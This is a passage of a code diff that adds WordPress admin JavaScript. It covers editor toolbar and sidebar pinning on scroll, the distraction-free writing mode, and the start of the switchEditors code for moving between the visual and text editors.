+				textEditorResize();
+			}
+
+			if ( visual ) {
+				$top = $visualTop;
+				$editor = $visualEditor;
+				topHeight = heights.visualTopHeight;
+			} else {
+				$top = $textTop;
+				$editor = $textEditor;
+				topHeight = heights.textTopHeight;
+			}
+
+			topPos = $top.parent().offset().top;
+			editorPos = $editor.offset().top;
+			editorHeight = $editor.outerHeight();
+
+			// Should we pin?
+			canPin = visual ? autoresizeMinHeight + topHeight : autoresizeMinHeight + 20; // 20px from textarea padding
+			canPin = editorHeight > ( canPin + 5 );
+
+			if ( ! canPin ) {
+				if ( resize ) {
+					$tools.css( {
+						position: 'absolute',
+						top: 0,
+						width: contentWrapWidth
+					} );
+
+					if ( visual && $menuBar.length ) {
+						$menuBar.css( {
+							position: 'absolute',
+							top: 0,
+							width: contentWrapWidth - ( borderWidth * 2 )
+						} );
+					}
+
+					$top.css( {
+						position: 'absolute',
+						top: heights.menuBarHeight,
+						width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
+					} );
+
+					$statusBar.add( $bottom ).attr( 'style', '' );
+				}
+			} else {
+				// Maybe pin the top.
+				if ( ( ! fixedTop || resize ) &&
+					// Handle scrolling down.
+					( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight ) &&
+					// Handle scrolling up.
+					windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) ) {
+					fixedTop = true;
+
+					$tools.css( {
+						position: 'fixed',
+						top: heights.adminBarHeight,
+						width: contentWrapWidth
+					} );
+
+					if ( visual && $menuBar.length ) {
+						$menuBar.css( {
+							position: 'fixed',
+							top: heights.adminBarHeight + heights.toolsHeight,
+							width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
+						} );
+					}
+
+					$top.css( {
+						position: 'fixed',
+						top: heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight,
+						width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
+					} );
+				// Maybe unpin the top.
+				} else if ( fixedTop || resize ) {
+					// Handle scrolling up.
+					if ( windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight ) ) {
+						fixedTop = false;
+
+						$tools.css( {
+							position: 'absolute',
+							top: 0,
+							width: contentWrapWidth
+						} );
+
+						if ( visual && $menuBar.length ) {
+							$menuBar.css( {
+								position: 'absolute',
+								top: 0,
+								width: contentWrapWidth - ( borderWidth * 2 )
+							} );
+						}
+
+						$top.css( {
+							position: 'absolute',
+							top: heights.menuBarHeight,
+							width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
+						} );
+					// Handle scrolling down.
+					} else if ( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) {
+						fixedTop = false;
+
+						$tools.css( {
+							position: 'absolute',
+							top: editorHeight - buffer,
+							width: contentWrapWidth
+						} );
+
+						if ( visual && $menuBar.length ) {
+							$menuBar.css( {
+								position: 'absolute',
+								top: editorHeight - buffer,
+								width: contentWrapWidth - ( borderWidth * 2 )
+							} );
+						}
+
+						$top.css( {
+							position: 'absolute',
+							top: editorHeight - buffer + heights.menuBarHeight,
+							width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
+						} );
+					}
+				}
+
+				// Maybe adjust the bottom bar.
+				if ( ( ! fixedBottom || ( resize && advanced ) ) &&
+						// +[n] for the border around the .wp-editor-container.
+						( windowPos + heights.windowHeight ) <= ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight + borderWidth ) ) {
+
+					if ( event && event.deltaHeight > 0 && event.deltaHeight < 100 ) {
+						window.scrollBy( 0, event.deltaHeight );
+					} else if ( advanced ) {
+						fixedBottom = true;
+
+						$statusBar.css( {
+							position: 'fixed',
+							bottom: heights.bottomHeight,
+							visibility: '',
+							width: contentWrapWidth - ( borderWidth * 2 )
+						} );
+
+						$bottom.css( {
+							position: 'fixed',
+							bottom: 0,
+							width: contentWrapWidth
+						} );
+					}
+				} else if ( ( ! advanced && fixedBottom ) ||
+						( ( fixedBottom || resize ) &&
+						( windowPos + heights.windowHeight ) > ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight - borderWidth ) ) ) {
+					fixedBottom = false;
+
+					$statusBar.add( $bottom ).attr( 'style', '' );
+
+					if ( ! advanced ) {
+						$statusBar.css( 'visibility', 'hidden' );
+					}
+				}
+			}
+
+			// Sidebar pinning
+			if ( $postboxContainer.width() < 300 && heights.windowWidth > 600 && // sidebar position is changed with @media from CSS, make sure it is on the side
+				$document.height() > ( $sideSortables.height() + postBodyTop + 120 ) && // the sidebar is not the tallest element
+				heights.windowHeight < editorHeight ) { // the editor is taller than the viewport
+
+				if ( ( heights.sideSortablesHeight + pinnedToolsTop + sidebarBottom ) > heights.windowHeight || fixedSideTop || fixedSideBottom ) {
+					// Reset when scrolling to the top
+					if ( windowPos + pinnedToolsTop <= postBodyTop ) {
+						$sideSortables.attr( 'style', '' );
+						fixedSideTop = fixedSideBottom = false;
+					} else {
+						if ( windowPos > lastScrollPosition ) {
+							// Scrolling down
+							if ( fixedSideTop ) {
+								// let it scroll
+								fixedSideTop = false;
+								sidebarTop = $sideSortables.offset().top - heights.adminBarHeight;
+								footerTop = $footer.offset().top;
+
+								// don't get over the footer
+								if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) {
+									sidebarTop = footerTop - heights.sideSortablesHeight - 12;
+								}
+
+								$sideSortables.css({
+									position: 'absolute',
+									top: sidebarTop,
+									bottom: ''
+								});
+							} else if ( ! fixedSideBottom && heights.sideSortablesHeight + $sideSortables.offset().top + sidebarBottom < windowPos + heights.windowHeight ) {
+								// pin the bottom
+								fixedSideBottom = true;
+
+								$sideSortables.css({
+									position: 'fixed',
+									top: 'auto',
+									bottom: sidebarBottom
+								});
+							}
+						} else if ( windowPos < lastScrollPosition ) {
+							// Scrolling up
+							if ( fixedSideBottom ) {
+								// let it scroll
+								fixedSideBottom = false;
+								sidebarTop = $sideSortables.offset().top - sidebarBottom;
+								footerTop = $footer.offset().top;
+
+								// don't get over the footer
+								if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) {
+									sidebarTop = footerTop - heights.sideSortablesHeight - 12;
+								}
+
+								$sideSortables.css({
+									position: 'absolute',
+									top: sidebarTop,
+									bottom: ''
+								});
+							} else if ( ! fixedSideTop && $sideSortables.offset().top >= windowPos + pinnedToolsTop ) {
+								// pin the top
+								fixedSideTop = true;
+
+								$sideSortables.css({
+									position: 'fixed',
+									top: pinnedToolsTop,
+									bottom: ''
+								});
+							}
+						}
+					}
+				} else {
+					// if the sidebar container is smaller than the viewport, then pin/unpin the top when scrolling
+					if ( windowPos >= ( postBodyTop - pinnedToolsTop ) ) {
+
+						$sideSortables.css( {
+							position: 'fixed',
+							top: pinnedToolsTop
+						} );
+					} else {
+						$sideSortables.attr( 'style', '' );
+					}
+
+					fixedSideTop = fixedSideBottom = false;
+				}
+
+				lastScrollPosition = windowPos;
+			} else {
+				$sideSortables.attr( 'style', '' );
+				fixedSideTop = fixedSideBottom = false;
+			}
+
+			if ( resize ) {
+				$contentWrap.css( {
+					paddingTop: heights.toolsHeight
+				} );
+
+				if ( visual ) {
+					$visualEditor.css( {
+						paddingTop: heights.visualTopHeight + heights.menuBarHeight
+					} );
+				} else {
+					$textEditor.css( {
+						marginTop: heights.textTopHeight
+					} );
+
+					$textEditorClone.width( contentWrapWidth - 20 - ( borderWidth * 2 ) );
+				}
+			}
+		}
+
+		function fullscreenHide() {
+			textEditorResize();
+			adjust();
+		}
+
+		function initialResize( callback ) {
+			for ( var i = 1; i < 6; i++ ) {
+				setTimeout( callback, 500 * i );
+			}
+		}
+
+		function afterScroll() {
+			clearTimeout( scrollTimer );
+			scrollTimer = setTimeout( adjust, 100 );
+		}
+
+		function on() {
+			// Scroll to the top when triggering this from JS.
+			// Ensures toolbars are pinned properly.
+			if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) {
+				window.scrollTo( window.pageXOffset, 0 );
+			}
+
+			$wrap.addClass( 'wp-editor-expand' );
+
+			// Adjust when the window is scrolled or resized.
+			$window.on( 'scroll.editor-expand resize.editor-expand', function( event ) {
+				adjust( event.type );
+				afterScroll();
+			} );
+
+			// Adjust when collapsing the menu, changing the columns, changing the body class.
+			$document.on( 'wp-collapse-menu.editor-expand postboxes-columnchange.editor-expand editor-classchange.editor-expand', adjust )
+				.on( 'postbox-toggled.editor-expand', function() {
+					if ( ! fixedSideTop && ! fixedSideBottom && window.pageYOffset > pinnedToolsTop ) {
+						fixedSideBottom = true;
+						window.scrollBy( 0, -1 );
+						adjust();
+						window.scrollBy( 0, 1 );
+					}
+
+					adjust();
+				}).on( 'wp-window-resized.editor-expand', function() {
+					if ( mceEditor && ! mceEditor.isHidden() ) {
+						mceEditor.execCommand( 'wpAutoResize' );
+					} else {
+						textEditorResize();
+					}
+				});
+
+			$textEditor.on( 'focus.editor-expand input.editor-expand propertychange.editor-expand', textEditorResize );
+			$textEditor.on( 'keyup.editor-expand', textEditorKeyup );
+			mceBind();
+
+			// Adjust when entering/exiting fullscreen mode.
+			fullscreen && fullscreen.pubsub.subscribe( 'hidden', fullscreenHide );
+
+			if ( mceEditor ) {
+				mceEditor.settings.wp_autoresize_on = true;
+				mceEditor.execCommand( 'wpAutoResizeOn' );
+
+				if ( ! mceEditor.isHidden() ) {
+					mceEditor.execCommand( 'wpAutoResize' );
+				}
+			}
+
+			if ( ! mceEditor || mceEditor.isHidden() ) {
+				textEditorResize();
+			}
+
+			adjust();
+
+			$document.trigger( 'editor-expand-on' );
+		}
+
+		function off() {
+			var height = window.getUserSetting('ed_size');
+
+			// Scroll to the top when triggering this from JS.
+			// Ensures toolbars are reset properly.
+			if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) {
+				window.scrollTo( window.pageXOffset, 0 );
+			}
+
+			$wrap.removeClass( 'wp-editor-expand' );
+
+			$window.off( '.editor-expand' );
+			$document.off( '.editor-expand' );
+			$textEditor.off( '.editor-expand' );
+			mceUnbind();
+
+			// Adjust when entering/exiting fullscreen mode.
+			fullscreen && fullscreen.pubsub.unsubscribe( 'hidden', fullscreenHide );
+
+			// Reset all css
+			$.each( [ $visualTop, $textTop, $tools, $menuBar, $bottom, $statusBar, $contentWrap, $visualEditor, $textEditor, $sideSortables ], function( i, element ) {
+				element && element.attr( 'style', '' );
+			});
+
+			fixedTop = fixedBottom = fixedSideTop = fixedSideBottom = false;
+
+			if ( mceEditor ) {
+				mceEditor.settings.wp_autoresize_on = false;
+				mceEditor.execCommand( 'wpAutoResizeOff' );
+
+				if ( ! mceEditor.isHidden() ) {
+					$textEditor.hide();
+
+					if ( height ) {
+						mceEditor.theme.resizeTo( null, height );
+					}
+				}
+			}
+
+			if ( height ) {
+				$textEditor.height( height );
+			}
+
+			$document.trigger( 'editor-expand-off' );
+		}
+
+		// Start on load
+		if ( $wrap.hasClass( 'wp-editor-expand' ) ) {
+			on();
+
+			// Ideally we need to resize just after CSS has fully loaded and QuickTags is ready.
+			if ( $contentWrap.hasClass( 'html-active' ) ) {
+				initialResize( function() {
+					adjust();
+					textEditorResize();
+				} );
+			}
+		}
+
+		// Show the on/off checkbox
+		$( '#adv-settings .editor-expand' ).show();
+		$( '#editor-expand-toggle' ).on( 'change.editor-expand', function() {
+			if ( $(this).prop( 'checked' ) ) {
+				on();
+				window.setUserSetting( 'editor_expand', 'on' );
+			} else {
+				off();
+				window.setUserSetting( 'editor_expand', 'off' );
+			}
+		});
+
+		// Expose on() and off()
+		window.editorExpand = {
+			on: on,
+			off: off
+		};
+	} );
+
+	/* DFW. */
+	$( function() {
+		var $body = $( document.body ),
+			$wrap = $( '#wpcontent' ),
+			$editor = $( '#post-body-content' ),
+			$title = $( '#title' ),
+			$content = $( '#content' ),
+			$overlay = $( document.createElement( 'DIV' ) ),
+			$slug = $( '#edit-slug-box' ),
+			$slugFocusEl = $slug.find( 'a' )
+				.add( $slug.find( 'button' ) )
+				.add( $slug.find( 'input' ) ),
+			$menuWrap = $( '#adminmenuwrap' ),
+			$editorWindow = $(),
+			$editorIframe = $(),
+			_isActive = window.getUserSetting( 'editor_expand', 'on' ) === 'on',
+			_isOn = _isActive ? window.getUserSetting( 'post_dfw' ) === 'on' : false,
+			traveledX = 0,
+			traveledY = 0,
+			buffer = 20,
+			faded, fadedAdminBar, fadedSlug,
+			editorRect, x, y, mouseY, scrollY,
+			focusLostTimer, overlayTimer, editorHasFocus;
+
+		$body.append( $overlay );
+
+		$overlay.css( {
+			display: 'none',
+			position: 'fixed',
+			top: $adminBar.height(),
+			right: 0,
+			bottom: 0,
+			left: 0,
+			'z-index': 9997
+		} );
+
+		$editor.css( {
+			position: 'relative'
+		} );
+
+		$window.on( 'mousemove.focus', function( event ) {
+			mouseY = event.pageY;
+		} );
+
+		function recalcEditorRect() {
+			editorRect = $editor.offset();
+			editorRect.right = editorRect.left + $editor.outerWidth();
+			editorRect.bottom = editorRect.top + $editor.outerHeight();
+		}
+
+		function activate() {
+			if ( ! _isActive ) {
+				_isActive = true;
+
+				$document.trigger( 'dfw-activate' );
+				$content.on( 'keydown.focus-shortcut', toggleViaKeyboard );
+			}
+		}
+
+		function deactivate() {
+			if ( _isActive ) {
+				off();
+
+				_isActive = false;
+
+				$document.trigger( 'dfw-deactivate' );
+				$content.off( 'keydown.focus-shortcut' );
+			}
+		}
+
+		function isActive() {
+			return _isActive;
+		}
+
+		function on() {
+			if ( ! _isOn && _isActive ) {
+				_isOn = true;
+
+				$content.on( 'keydown.focus', fadeOut );
+
+				$title.add( $content ).on( 'blur.focus', maybeFadeIn );
+
+				fadeOut();
+
+				window.setUserSetting( 'post_dfw', 'on' );
+
+				$document.trigger( 'dfw-on' );
+			}
+		}
+
+		function off() {
+			if ( _isOn ) {
+				_isOn = false;
+
+				$title.add( $content ).off( '.focus' );
+
+				fadeIn();
+
+				$editor.off( '.focus' );
+
+				window.setUserSetting( 'post_dfw', 'off' );
+
+				$document.trigger( 'dfw-off' );
+			}
+		}
+
+		function toggle() {
+			if ( _isOn ) {
+				off();
+			} else {
+				on();
+			}
+		}
+
+		function isOn() {
+			return _isOn;
+		}
+
+		function fadeOut( event ) {
+			var key = event && event.keyCode;
+
+			// fadeIn and return on Escape and keyboard shortcut Alt+Shift+W.
+			if ( key === 27 || ( key === 87 && event.altKey && event.shiftKey ) ) {
+				fadeIn( event );
+				return;
+			}
+
+			if ( event && ( event.metaKey || ( event.ctrlKey && ! event.altKey ) || ( event.altKey && event.shiftKey ) || ( key && (
+				// Special keys ( tab, ctrl, alt, esc, arrow keys... )
+				( key <= 47 && key !== 8 && key !== 13 && key !== 32 && key !== 46 ) ||
+				// Windows keys
+				( key >= 91 && key <= 93 ) ||
+				// F keys
+				( key >= 112 && key <= 135 ) ||
+				// Num Lock, Scroll Lock, OEM
+				( key >= 144 && key <= 150 ) ||
+				// OEM or non-printable
+				key >= 224
+			) ) ) ) {
+				return;
+			}
+
+			if ( ! faded ) {
+				faded = true;
+
+				clearTimeout( overlayTimer );
+
+				overlayTimer = setTimeout( function() {
+					$overlay.show();
+				}, 600 );
+
+				$editor.css( 'z-index', 9998 );
+
+				$overlay
+					// Always recalculate the editor area entering the overlay with the mouse.
+					.on( 'mouseenter.focus', function() {
+						recalcEditorRect();
+
+						$window.on( 'scroll.focus', function() {
+							var nScrollY = window.pageYOffset;
+
+							if ( (
+								scrollY && mouseY &&
+								scrollY !== nScrollY
+							) && (
+								mouseY < editorRect.top - buffer ||
+								mouseY > editorRect.bottom + buffer
+							) ) {
+								fadeIn();
+							}
+
+							scrollY = nScrollY;
+						} );
+					} )
+					.on( 'mouseleave.focus', function() {
+						x = y =  null;
+						traveledX = traveledY = 0;
+
+						$window.off( 'scroll.focus' );
+					} )
+					// Fade in when the mouse moves away form the editor area.
+					.on( 'mousemove.focus', function( event ) {
+						var nx = event.clientX,
+							ny = event.clientY,
+							pageYOffset = window.pageYOffset,
+							pageXOffset = window.pageXOffset;
+
+						if ( x && y && ( nx !== x || ny !== y ) ) {
+							if (
+								( ny <= y && ny < editorRect.top - pageYOffset ) ||
+								( ny >= y && ny > editorRect.bottom - pageYOffset ) ||
+								( nx <= x && nx < editorRect.left - pageXOffset ) ||
+								( nx >= x && nx > editorRect.right - pageXOffset )
+							) {
+								traveledX += Math.abs( x - nx );
+								traveledY += Math.abs( y - ny );
+
+								if ( (
+									ny <= editorRect.top - buffer - pageYOffset ||
+									ny >= editorRect.bottom + buffer - pageYOffset ||
+									nx <= editorRect.left - buffer - pageXOffset ||
+									nx >= editorRect.right + buffer - pageXOffset
+								) && (
+									traveledX > 10 ||
+									traveledY > 10
+								) ) {
+									fadeIn();
+
+									x = y =  null;
+									traveledX = traveledY = 0;
+
+									return;
+								}
+							} else {
+								traveledX = traveledY = 0;
+							}
+						}
+
+						x = nx;
+						y = ny;
+					} )
+					// When the overlay is touched, always fade in and cancel the event.
+					.on( 'touchstart.focus', function( event ) {
+						event.preventDefault();
+						fadeIn();
+					} );
+
+				$editor.off( 'mouseenter.focus' );
+
+				if ( focusLostTimer ) {
+					clearTimeout( focusLostTimer );
+					focusLostTimer = null;
+				}
+
+				$body.addClass( 'focus-on' ).removeClass( 'focus-off' );
+			}
+
+			fadeOutAdminBar();
+			fadeOutSlug();
+		}
+
+		function fadeIn( event ) {
+			if ( faded ) {
+				faded = false;
+
+				clearTimeout( overlayTimer );
+
+				overlayTimer = setTimeout( function() {
+					$overlay.hide();
+				}, 200 );
+
+				$editor.css( 'z-index', '' );
+
+				$overlay.off( 'mouseenter.focus mouseleave.focus mousemove.focus touchstart.focus' );
+
+				/*
+				 * When fading in, temporarily watch for refocus and fade back out - helps
+				 * with 'accidental' editor exits with the mouse. When fading in and the event
+				 * is a key event (Escape or Alt+Shift+W) don't watch for refocus.
+				 */
+				if ( 'undefined' === typeof event ) {
+					$editor.on( 'mouseenter.focus', function() {
+						if ( $.contains( $editor.get( 0 ), document.activeElement ) || editorHasFocus ) {
+							fadeOut();
+						}
+					} );
+				}
+
+				focusLostTimer = setTimeout( function() {
+					focusLostTimer = null;
+					$editor.off( 'mouseenter.focus' );
+				}, 1000 );
+
+				$body.addClass( 'focus-off' ).removeClass( 'focus-on' );
+			}
+
+			fadeInAdminBar();
+			fadeInSlug();
+		}
+
+		function maybeFadeIn() {
+			setTimeout( function() {
+				var position = document.activeElement.compareDocumentPosition( $editor.get( 0 ) );
+
+				function hasFocus( $el ) {
+					return $.contains( $el.get( 0 ), document.activeElement );
+				}
+
+				// The focused node is before or behind the editor area, and not outside the wrap.
+				if ( ( position === 2 || position === 4 ) && ( hasFocus( $menuWrap ) || hasFocus( $wrap ) || hasFocus( $footer ) ) ) {
+					fadeIn();
+				}
+			}, 0 );
+		}
+
+		function fadeOutAdminBar() {
+			if ( ! fadedAdminBar && faded ) {
+				fadedAdminBar = true;
+
+				$adminBar
+					.on( 'mouseenter.focus', function() {
+						$adminBar.addClass( 'focus-off' );
+					} )
+					.on( 'mouseleave.focus', function() {
+						$adminBar.removeClass( 'focus-off' );
+					} );
+			}
+		}
+
+		function fadeInAdminBar() {
+			if ( fadedAdminBar ) {
+				fadedAdminBar = false;
+
+				$adminBar.off( '.focus' );
+			}
+		}
+
+		function fadeOutSlug() {
+			if ( ! fadedSlug && faded && ! $slug.find( ':focus').length ) {
+				fadedSlug = true;
+
+				$slug.stop().fadeTo( 'fast', 0.3 ).on( 'mouseenter.focus', fadeInSlug ).off( 'mouseleave.focus' );
+
+				$slugFocusEl.on( 'focus.focus', fadeInSlug ).off( 'blur.focus' );
+			}
+		}
+
+		function fadeInSlug() {
+			if ( fadedSlug ) {
+				fadedSlug = false;
+
+				$slug.stop().fadeTo( 'fast', 1 ).on( 'mouseleave.focus', fadeOutSlug ).off( 'mouseenter.focus' );
+
+				$slugFocusEl.on( 'blur.focus', fadeOutSlug ).off( 'focus.focus' );
+			}
+		}
+
+		function toggleViaKeyboard( event ) {
+			if ( event.altKey && event.shiftKey && 87 === event.keyCode ) {
+				toggle();
+			}
+		}
+
+		if ( $( '#postdivrich' ).hasClass( 'wp-editor-expand' ) ) {
+			$content.on( 'keydown.focus-shortcut', toggleViaKeyboard );
+		}
+
+		$document.on( 'tinymce-editor-setup.focus', function( event, editor ) {
+			editor.addButton( 'dfw', {
+				active: _isOn,
+				classes: 'wp-dfw btn widget',
+				disabled: ! _isActive,
+				onclick: toggle,
+				onPostRender: function() {
+					var button = this;
+
+					$document
+					.on( 'dfw-activate.focus', function() {
+						button.disabled( false );
+					} )
+					.on( 'dfw-deactivate.focus', function() {
+						button.disabled( true );
+					} )
+					.on( 'dfw-on.focus', function() {
+						button.active( true );
+					} )
+					.on( 'dfw-off.focus', function() {
+						button.active( false );
+					} );
+				},
+				tooltip: 'Distraction-free writing mode',
+				shortcut: 'Alt+Shift+W'
+			} );
+
+			editor.addCommand( 'wpToggleDFW', toggle );
+			editor.addShortcut( 'alt+shift+w', '', 'wpToggleDFW' );
+		} );
+
+		$document.on( 'tinymce-editor-init.focus', function( event, editor ) {
+			var mceBind, mceUnbind;
+
+			function focus() {
+				editorHasFocus = true;
+			}
+
+			function blur() {
+				editorHasFocus = false;
+			}
+
+			if ( editor.id === 'content' ) {
+				$editorWindow = $( editor.getWin() );
+				$editorIframe = $( editor.getContentAreaContainer() ).find( 'iframe' );
+
+				mceBind = function() {
+					editor.on( 'keydown', fadeOut );
+					editor.on( 'blur', maybeFadeIn );
+					editor.on( 'focus', focus );
+					editor.on( 'blur', blur );
+					editor.on( 'wp-autoresize', recalcEditorRect );
+				};
+
+				mceUnbind = function() {
+					editor.off( 'keydown', fadeOut );
+					editor.off( 'blur', maybeFadeIn );
+					editor.off( 'focus', focus );
+					editor.off( 'blur', blur );
+					editor.off( 'wp-autoresize', recalcEditorRect );
+				};
+
+				if ( _isOn ) {
+					mceBind();
+				}
+
+				$document.on( 'dfw-on.focus', mceBind ).on( 'dfw-off.focus', mceUnbind );
+
+				// Make sure the body focuses when clicking outside it.
+				editor.on( 'click', function( event ) {
+					if ( event.target === editor.getDoc().documentElement ) {
+						editor.focus();
+					}
+				} );
+			}
+		} );
+
+		$document.on( 'quicktags-init', function( event, editor ) {
+			var $button;
+
+			if ( editor.settings.buttons && ( ',' + editor.settings.buttons + ',' ).indexOf( ',dfw,' ) !== -1 ) {
+				$button = $( '#' + editor.name + '_dfw' );
+
+				$( document )
+				.on( 'dfw-activate', function() {
+					$button.prop( 'disabled', false );
+				} )
+				.on( 'dfw-deactivate', function() {
+					$button.prop( 'disabled', true );
+				} )
+				.on( 'dfw-on', function() {
+					$button.addClass( 'active' );
+				} )
+				.on( 'dfw-off', function() {
+					$button.removeClass( 'active' );
+				} );
+			}
+		} );
+
+		$document.on( 'editor-expand-on.focus', activate ).on( 'editor-expand-off.focus', deactivate );
+
+		if ( _isOn ) {
+			$content.on( 'keydown.focus', fadeOut );
+
+			$title.add( $content ).on( 'blur.focus', maybeFadeIn );
+		}
+
+		window.wp = window.wp || {};
+		window.wp.editor = window.wp.editor || {};
+		window.wp.editor.dfw = {
+			activate: activate,
+			deactivate: deactivate,
+			isActive: isActive,
+			on: on,
+			off: off,
+			toggle: toggle,
+			isOn: isOn
+		};
+	} );
+} )( window, window.jQuery );
Index: /tags/4.1.6/src/wp-admin/js/editor.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/editor.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/editor.js	(revision 33402)
@@ -0,0 +1,324 @@
+/* global tinymce, tinyMCEPreInit, QTags, setUserSetting */
+
+window.switchEditors = {
+
+	switchto: function( el ) {
+		var aid = el.id,
+			l = aid.length,
+			id = aid.substr( 0, l - 5 ),
+			mode = aid.substr( l - 4 );
+
+		this.go( id, mode );
+	},
+
+	// mode can be 'html', 'tmce', or 'toggle'; 'html' is used for the 'Text' editor tab.
+	go: function( id, mode ) {
+		var t = this, ed, wrap_id, txtarea_el, iframe, editorHeight, toolbarHeight,
+			DOM = tinymce.DOM; //DOMUtils outside the editor iframe
+
+		id = id || 'content';
+		mode = mode || 'toggle';
+
+		ed = tinymce.get( id );
+		wrap_id = 'wp-' + id + '-wrap';
+		txtarea_el = DOM.get( id );
+
+		if ( 'toggle' === mode ) {
+			if ( ed && ! ed.isHidden() ) {
+				mode = 'html';
+			} else {
+				mode = 'tmce';
+			}
+		}
+
+		function getToolbarHeight() {
+			var node = DOM.select( '.mce-toolbar-grp', ed.getContainer() )[0],
+				height = node && node.clientHeight;
+
+			if ( height && height > 10 && height < 200 ) {
+				return parseInt( height, 10 );
+			}
+
+			return 30;
+		}
+
+		if ( 'tmce' === mode || 'tinymce' === mode ) {
+			if ( ed && ! ed.isHidden() ) {
+				return false;
+			}
+
+			if ( typeof( QTags ) !== 'undefined' ) {
+				QTags.closeAllTags( id );
+			}
+
+			editorHeight = txtarea_el ? parseInt( txtarea_el.style.height, 10 ) : 0;
+
+			if ( tinyMCEPreInit.mceInit[ id ] && tinyMCEPreInit.mceInit[ id ].wpautop ) {
+				txtarea_el.value = t.wpautop( txtarea_el.value );
+			}
+
+			if ( ed ) {
+				ed.show();
+
+				// No point resizing the iframe in iOS
+				if ( ! tinymce.Env.iOS && editorHeight ) {
+					toolbarHeight = getToolbarHeight();
+					editorHeight = editorHeight - toolbarHeight + 14;
+
+					// height cannot be under 50 or over 5000
+					if ( editorHeight > 50 && editorHeight < 5000 ) {
+						ed.theme.resizeTo( null, editorHeight );
+					}
+				}
+			} else {
+				tinymce.init( tinyMCEPreInit.mceInit[id] );
+			}
+
+			DOM.removeClass( wrap_id, 'html-active' );
+			DOM.addClass( wrap_id, 'tmce-active' );
+			DOM.setAttrib( txtarea_el, 'aria-hidden', true );
+			setUserSetting( 'editor', 'tinymce' );
+
+		} else if ( 'html' === mode ) {
+
+			if ( ed && ed.isHidden() ) {
+				return false;
+			}
+
+			if ( ed ) {
+				if ( ! tinymce.Env.iOS ) {
+					iframe = DOM.get( id + '_ifr' );
+					editorHeight = iframe ? parseInt( iframe.style.height, 10 ) : 0;
+
+					if ( editorHeight ) {
+						toolbarHeight = getToolbarHeight();
+						editorHeight = editorHeight + toolbarHeight - 14;
+
+						// height cannot be under 50 or over 5000
+						if ( editorHeight > 50 && editorHeight < 5000 ) {
+							txtarea_el.style.height = editorHeight + 'px';
+						}
+					}
+				}
+
+				ed.hide();
+			} else {
+				// The TinyMCE instance doesn't exist, run the content through 'pre_wpautop()' and show the textarea
+				if ( tinyMCEPreInit.mceInit[ id ] && tinyMCEPreInit.mceInit[ id ].wpautop ) {
+					txtarea_el.value = t.pre_wpautop( txtarea_el.value );
+				}
+
+				DOM.setStyles( txtarea_el, {'display': '', 'visibility': ''} );
+			}
+
+			DOM.removeClass( wrap_id, 'tmce-active' );
+			DOM.addClass( wrap_id, 'html-active' );
+			DOM.setAttrib( txtarea_el, 'aria-hidden', false );
+			setUserSetting( 'editor', 'html' );
+		}
+		return false;
+	},
+
+	_wp_Nop: function( content ) {
+		var blocklist1, blocklist2,
+			preserve_linebreaks = false,
+			preserve_br = false;
+
+		// Protect pre|script tags
+		if ( content.indexOf( '<pre' ) !== -1 || content.indexOf( '<script' ) !== -1 ) {
+			preserve_linebreaks = true;
+			content = content.replace( /<(pre|script)[^>]*>[\s\S]+?<\/\1>/g, function( a ) {
+				a = a.replace( /<br ?\/?>(\r\n|\n)?/g, '<wp-line-break>' );
+				a = a.replace( /<\/?p( [^>]*)?>(\r\n|\n)?/g, '<wp-line-break>' );
+				return a.replace( /\r?\n/g, '<wp-line-break>' );
+			});
+		}
+
+		// keep <br> tags inside captions and remove line breaks
+		if ( content.indexOf( '[caption' ) !== -1 ) {
+			preserve_br = true;
+			content = content.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) {
+				return a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ).replace( /[\r\n\t]+/, '' );
+			});
+		}
+
+		// Pretty it up for the source editor
+		blocklist1 = 'blockquote|ul|ol|li|table|thead|tbody|tfoot|tr|th|td|div|h[1-6]|p|fieldset';
+		content = content.replace( new RegExp( '\\s*</(' + blocklist1 + ')>\\s*', 'g' ), '</$1>\n' );
+		content = content.replace( new RegExp( '\\s*<((?:' + blocklist1 + ')(?: [^>]*)?)>', 'g' ), '\n<$1>' );
+
+		// Mark </p> if it has any attributes.
+		content = content.replace( /(<p [^>]+>.*?)<\/p>/g, '$1</p#>' );
+
+		// Separate <div> containing <p>
+		content = content.replace( /<div( [^>]*)?>\s*<p>/gi, '<div$1>\n\n' );
+
+		// Remove <p> and <br />
+		content = content.replace( /\s*<p>/gi, '' );
+		content = content.replace( /\s*<\/p>\s*/gi, '\n\n' );
+		content = content.replace( /\n[\s\u00a0]+\n/g, '\n\n' );
+		content = content.replace( /\s*<br ?\/?>\s*/gi, '\n' );
+
+		// Fix some block element newline issues
+		content = content.replace( /\s*<div/g, '\n<div' );
+		content = content.replace( /<\/div>\s*/g, '</div>\n' );
+		content = content.replace( /\s*\[caption([^\[]+)\[\/caption\]\s*/gi, '\n\n[caption$1[/caption]\n\n' );
+		content = content.replace( /caption\]\n\n+\[caption/g, 'caption]\n\n[caption' );
+
+		blocklist2 = 'blockquote|ul|ol|li|table|thead|tbody|tfoot|tr|th|td|h[1-6]|pre|fieldset';
+		content = content.replace( new RegExp('\\s*<((?:' + blocklist2 + ')(?: [^>]*)?)\\s*>', 'g' ), '\n<$1>' );
